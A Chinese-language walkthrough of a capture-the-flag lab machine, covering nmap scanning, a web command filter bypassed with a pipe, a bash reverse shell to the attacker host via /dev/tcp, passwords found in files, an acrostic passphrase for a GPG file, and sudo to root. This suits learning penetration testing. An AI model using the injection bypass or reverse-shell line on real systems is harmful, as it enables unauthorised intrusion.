渗透思路:
nmap扫描----通过robots.txt得到/dev_shell目录----利用RCE得到反弹shell----找到.gpg文件密码并解密----sudo su提权
环境信息:
靶机:192.168.101.63
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.63
扫描到2个端口:80(http)、25468(ssh)
2、利用RCE得到反弹shell
注意到nmap扫描http端口的时候扫描到了robots.txt,其中有4个disallowed entries:
/login.php、 /dev_shell.php、 /lat_memo.html 、/passwords.html
一一访问这几个页面,发现其中http://192.168.101.63/dev_shell.php可以执行系统命令
不幸的是,很多命令都是不让执行的,比如ls
尝试之后发现whoami等可以执行的命令之后加管道符|,再加不可以执行的命令,就可以绕过限制,执行这些命令,比如
whoami | ls
所以可以利用这个页面来获得反弹shell。
攻击机上nc监听1111端口
nc -nlvp 1111
网页上输入payload:
whoami | bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/1111 <&1'
攻击机上得到www-data的shell
3、兔子洞+办公室狗血
在/home/bob下找到.old_passwordfile.html文件,里面包含jc和seb的密码
以用户名jc,密码Qwerty登录
ssh jc@192.168.101.63 -p 25468
在jc的家目录下转了一圈也没找到啥有用的,sudo -l发现只能执行/usr/bin/service apache2 *和/bin/systemctl start ssh,无法用于提权
seb也是一样,就不细说了
继续回到www-data的shell,进入/home/bob/Documents目录,发现一个目录两个文件
.gpg文件暂时看不了,因为不知道密码。
先看staff.txt,把三个同事吐槽了个遍诶,James躺平了,Elliot总挑战bob,bob希望他能被炒掉,Seb看起来和Elliot是一派的
看来Elliot可能是个比较重要的人,看看在他的家目录下能不能翻到点什么
果然有个奇怪的文件叫theadminisdumb.txt,打开又是办公室狗血,总之就是非常看不起bob,觉得他很愚蠢,干啥啥不行,脾气又暴躁,又听不进去建议,希望bob被开除。
哇塞,靶机作者的想象力还挺丰富的。
elliot因为觉得bob愚蠢,而bob又是管理员,所以elliot把自己的密码改成theadminisdumb了,我寻思这个密码也不咋聪明。
总之以用户名elliot,密码theadminisdumb进行ssh登录,也没找到啥有用的,可以sudo执行的命令和jc也是一样的,大失所望。
4、需要点文学造诣才能提权
回到/home/bob/Documents目录,继续探索Secret目录。递归看一下/home/bob/Documents/Secret下有啥
ls -alR Secret
看了一通之后发现notes.sh有点奇怪的内容
总之以我的外国文学造诣,啥也没看出来。其他好多没写出来的提权路子也试了,没看出啥端倪。最后没忍住看了剧透才知道原来英语也有藏头诗,acrostic poetry
所以/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/notes.sh中每句的第一个字母合起来就是HARPOCRATES,是个古希腊神话人物的名字。
用HARPOCRATES当密码解密/home/bob/Documents/login.txt.gpg
下面记得用非www-data用户的shell(用www-data用户执行会报错),比如jc,执行命令
gpg --output login.txt --decrypt /home/bob/Documents/login.txt.gpg
在提示输入passphrase时输入HARPOCRATES
执行完后,在当前目录下出现了解密后的login.txt文件
可恶的是,jc似乎不能cat命令,但是没关系,可以用more命令查看
more login.txt
得到了bob的密码b0bcat_
以用户名bob,密码b0bcat_进行ssh登录,发现bob可以sudo执行所有命令
sudo su
提权到root,并读取flag